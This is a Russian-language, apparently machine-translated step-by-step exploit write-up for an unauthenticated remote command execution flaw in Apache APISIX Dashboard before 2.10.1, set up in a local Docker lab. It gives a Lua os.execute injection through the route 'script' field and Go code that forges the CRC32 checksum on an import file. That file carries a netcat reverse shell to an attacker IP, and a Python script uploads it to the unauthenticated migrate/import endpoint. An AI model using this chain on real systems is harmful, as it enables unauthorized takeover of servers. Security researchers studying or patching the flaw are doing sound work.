Оглавление
Отказ от ответственности: Данная статья предназначена только для ознакомления и ознакомления.Все задействованные в ней ресурсы взяты из сети Интернет.Просьба не использовать их для каких-либо противоправных действий,иначе вы сами будете нести соответствующие последствия,а я не беру на себя никаких юридических и совместных и несколько обязательств.
Описание уязвимости
Apache APISIX — это динамический высокопроизводительный API-шлюз, работающий в режиме реального времени, который предоставляет богатые функции управления трафиком, такие как балансировка нагрузки, динамический восходящий поток, выпуск оттенков серого, предохранители служб, аутентификация удостоверений и возможность наблюдения. Панель управления Apache APISIX позволяет пользователям управлять Apache APISIX через внешний интерфейс. Уязвимость существует из-за ошибки в Manager API. API-интерфейс Manager представляет инфраструктуру дроплетов на основе фреймворка gin, а все API-интерфейсы и промежуточное ПО для аутентификации разрабатываются на основе фреймворка дроплетов. Но некоторые API напрямую используют интерфейс фреймворка gin, минуя аутентификацию.
Сфера влияния
Панель инструментов Apache APISIX < 2.10.1
Развертывание среды
через git clone apisix-docker
git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/
Изменить docker-compose.yml
apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine
Затем docker-compose up -d запускает среду
После запуска среды браузер получает доступ к панели управления apisix через порт по умолчанию 9000.
Фон RCE
Поскольку учетная запись и пароль по умолчанию для панели управления apisix — admin:admin, мы сначала входим в фоновый режим, чтобы проверить выполнение удаленной команды.
Сначала создайте восходящий сервис, нажмите «Создать», назовите его как хотите и заполните сервис для целевого узла для пересылки запроса.Здесь мы заполняем приложение Grafana, прикрепленное к докеру, номер порта 3000, нажмите «Далее», и отправить.
Во-вторых, создайте маршрут, имя может быть произвольным, а путь также можно настроить.Нажмите «Далее», выберите вышестоящую службу, которую мы только что создали, и, наконец, отправьте ее.
Просмотрите созданный маршрут.
Вернитесь на страницу конфигурации маршрута, нажмите «Настроить», а затем перейдите к следующему шагу до отправки, используйте BurpSuite для захвата пакетов.
Затем в теле пакета запроса, после добавления поля скрипта, отправить запрос.
"script": "os.execute('touch /tmp/Keepb1ue')"
Проверьте еще раз, информация о конфигурации маршрутизации
Далее посетим: http://192.168.10.171:9080/rce111
Проверьте в докере, был ли создан файл Keepblue.
Неавторизованный интерфейс RCE
Если нет пароля по умолчанию или слабого пароля, то мы используем неавторизованный интерфейс для выполнения RCE
/apisix/admin/migrate/export
/apisix/admin/migrate/import
Сначала экспортируйте файл конфигурации, используя /apisix/admin/migrate/export.
Поскольку это неавторизовано, поэтому в случае отсутствия входа в систему после захвата пакета BP интерфейс запроса изменяется на /apisix/admin/migrate/export, и после нажатия кнопки «Отправить» вы можете увидеть информацию о файле конфигурации.
При импорте файла конфигурации будет проверено значение контрольной суммы файла конфигурации.На самом деле значение проверки контрольной суммы может быть рассчитано путем написания скрипта, или новое значение контрольной суммы может быть рассчитано в соответствии с исходным кодом apisix
Расположение исходного кода: функция ExportConfig apisix-dashboard-master\api\internal\handler\migrate\migrate.go
Отдельно извлеките исходный код расчета, а также замените и вставьте оператор RCE с конфигурацией (данными), которую необходимо импортировать.
package main
import (
"encoding/binary"
"fmt"
"hash/crc32"
"io/ioutil"
"os"
)
func main() {
gen()
}
func gen() {
data := []byte(`{
"Counsumers":[],"Routes":[{
"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{
"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{
"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{
"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{
"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
checksumUint32 := crc32.ChecksumIEEE(data)
checksumLength := 4
checksum := make([]byte, checksumLength)
binary.BigEndian.PutUint32(checksum, checksumUint32)
fileBytes := append(data, checksum...)
content := fileBytes
fmt.Println(content)
importData := content[:len(content)-4]
checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
if checksum2 != crc32.ChecksumIEEE(importData) {
fmt.Println(checksum2)
fmt.Println(crc32.ChecksumIEEE(importData))
fmt.Println("Check sum check fail, maybe file broken")
return
}
err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
if err != nil {
fmt.Println("error!!")
return
}
}
Запуск этого скрипта создаст файл apisixPayload.
Это новый файл конфигурации, который мы хотим импортировать для расчета контрольного значения, а затем использовать код Python, чтобы просто передать его на сервер.
import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {
"file": open("apisixPayload", "rb")}
r = requests.post(url, data={
"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)
На атакующей машине включить мониторинг nc
Затем получите доступ к адресу маршрутизации (http://192.168.10.171:9080/rce111), чтобы запустить удаленное выполнение команды.
Посмотреть оболочку отскока nc
Отскок прошел успешно, что указывает на то, что команда была выполнена